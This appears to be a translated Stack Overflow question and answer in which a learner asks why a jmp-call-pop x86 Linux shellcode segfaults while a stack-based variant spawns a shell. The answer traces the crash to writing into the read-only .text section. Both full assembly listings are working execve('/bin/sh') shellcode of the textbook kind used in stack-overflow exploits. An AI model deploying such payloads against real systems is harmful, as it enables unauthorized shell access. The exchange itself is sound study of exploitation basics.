2011-11-14 25 views
1

我最近閱讀了Aleph One的粉碎堆棧以獲得樂趣和利潤,並一直在尋找「Shellcoder's Hanbook」。爲什麼彙編shellcode的兩種變體不能以相同的方式工作?

section .text 
    global _start 

_start: 
    jmp short GotoCall 

shellcode: 
    pop ebx 
    xor eax, eax 
    mov [ebx + 7], al 
    mov [ebx + 8], ebx 
    mov [ebx + 12], eax 
    mov al, 0x0b 
    lea ecx, [ebx + 8] 
    lea edx, [ebx + 12] 
    int 80h 

    xor eax, eax 
    mov al, 0x01 
    int 80h 

GotoCall: 
    Call shellcode 
    db '/bin/shJAAAAKKKK' 

當我走通過與GDB,我收到了賽格故障每次我嘗試寫時間:我是用下面的彙編代碼玩弄周圍

mov [ebx + 7], al 

然而,當我運行此我可以彈出一個root shell沒有段錯誤:

section .text 
    global _start 

_start: 
    xor eax, eax 
    push eax 
    push 0x68732f2f 
    push 0x6e69622f 
    mov ebx, esp 
    push eax 
    push ebx 
    mov ecx, esp 
    xor edx,edx 
    mov al, 0xb 
    int 80h 

從本質上講,他們正在做同樣的事情(是的,我知道他們是不是真的,但我試圖彈出兩個一個root shell)。我在OpenSuse11.4上運行,並且出於學習目的關閉了堆棧隨機化(ASLR)。有任何想法嗎?

+5

您可能想閱讀:[HOWTO:Writing Good Titles](http://meta.stackexchange.com/q/10647/156620) – 2011-11-14 02:55:14

回答

4

您已將db '/bin/shJAAAAKKKK'字符串放入.text部分,該部分通常不可寫。

如果你把它放到.data,崩潰會消失,但你必須要得到其他方式的字符串的地址:它將不再緊跟CALLGotoCall

+1

非常感謝。我發現它非常有幫助。我還發現爲了避免.text段只能讀取(它是),你可以在鏈接時提供-N選項給ld,這會將文本和數據段設置爲可讀和可寫。 –

相關問題